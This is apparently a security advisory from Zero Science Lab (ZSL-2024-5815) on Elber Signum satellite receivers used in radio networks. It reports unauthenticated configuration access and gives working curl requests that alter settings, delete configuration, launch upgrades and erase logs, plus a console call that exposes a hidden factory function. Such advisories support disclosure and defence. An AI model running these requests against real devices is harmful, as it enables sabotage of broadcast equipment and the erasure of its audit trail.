Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Insecure Direct Object Reference

Elber Signum DVB-S/S2 IRD For Radio Networks 1.999 Device Config

Vendor: Elber S.r.l.
Product web page: https://www.elber.it
Affected version: 1.999 Revision 1243
1.317 Revision 602
1.220 Revision 1250
1.220 Revision 1248_1249
1.220 Revision 597
1.217 Revision 1242
1.214 Revision 1023
1.193 Revision 924
1.175 Revision 873
1.166 Revision 550

Summary: The SIGNUM controller from Elber satellite equipment demodulates
one or two DVB-S/ S2 signals up to 32APSK (single/multi-stream), achieving
256 KS/s as minimum symbol rate. The TS demodulated signals can be aligned
and configured in 1+1 seamless switching for redundancy. Redundancy can also
be achieved with external ASI and TSoIP inputs. Signum supports MPEG-1 LI/II
audio codec, providing analog and digital outputs; moreover, it’s possible
to set a data PID to be decoded and passed to the internal RDS encoder,
generating the dual MPX FM output.

Desc: The device suffers from an unauthenticated device configuration and
client-side hidden functionality disclosure.

Tested on: NBFM Controller
embOS/IP

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2024-5815
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5815.php

18.08.2023

—

# Config fan
$ curl ‘http://TARGET/json_data/fan?fan_speed=&fan_target=&warn_temp=&alarm_temp=’
Configuration applied

# Delete config
$ curl ‘http://TARGET/json_data/conf_cmd?index=4&cmd=2’
File delete successfully

# Launch upgrade
$ curl ‘http://TARGET/json_data/conf_cmd?index=4&cmd=1’
Upgrade launched Successfully

# Log erase
$ curl ‘http://TARGET/json_data/erase_log.js?until=-2’
Logs erased

# Until:
# =0 ALL
# =-2 Yesterday
# =-8 Last week
# =-15 Last two weeks
# =-22 Last three weeks
# =-31 Last month

# Set RX config
$ curl ‘http://TARGET/json_data/NBFMV2RX.setConfig?freq=2480000&freq_offset=0&mute=1&sq_thresh=-90.0&dec_mode=0&lr_swap=0&preemph=0&preemph_const=0&deemph=0&deemph_const=1&ch_lr_enable=0&ch_r_gain=0.0&ch_l_gain=0.0&ch_adj_ctrl=0&ch_lr_att=1&mpxdig_att=0&pilot_trim=0.0&mpxdig_gain=0.0&rds_trim=0.0&delay_enable=0&local_rds=0&output_delay=0&pi_code=0___&mpx1_enable=1&mpx2_enable=1&sca1_enable=1&sca2_enable=0&mpx1_att=0&mpx2_att=0&sca1_att=0&sca2_att=0&mpx1_gain=0.0&mpx2_gain=0.0&sca1_gain=0.0&sca2_gain=0.0&limiter_enable=false&lim_1_gain=0.0+dB&lim_1_th=0.0+kHz&lim_1_alpha=0.0+%25&setupTime=0.0+ms&holdTime=0.0+ms&releaseFactor=0.0+dB%2Fsec&lim_2_en=false&lim_2_gain=0.0+dB&lim_2_th=0.0+kHz&rds_gen=false&rt_PI=&rt_PS=&rt_plus_en=false&rt_line_A=&rt_line_B=&rt_AF=&rf_trap=0&output_trap=0’
RX Config Applied Successfully

# Show factory window and FPGA upload (Console)
> cleber_show_factory_wnd()

# Etc.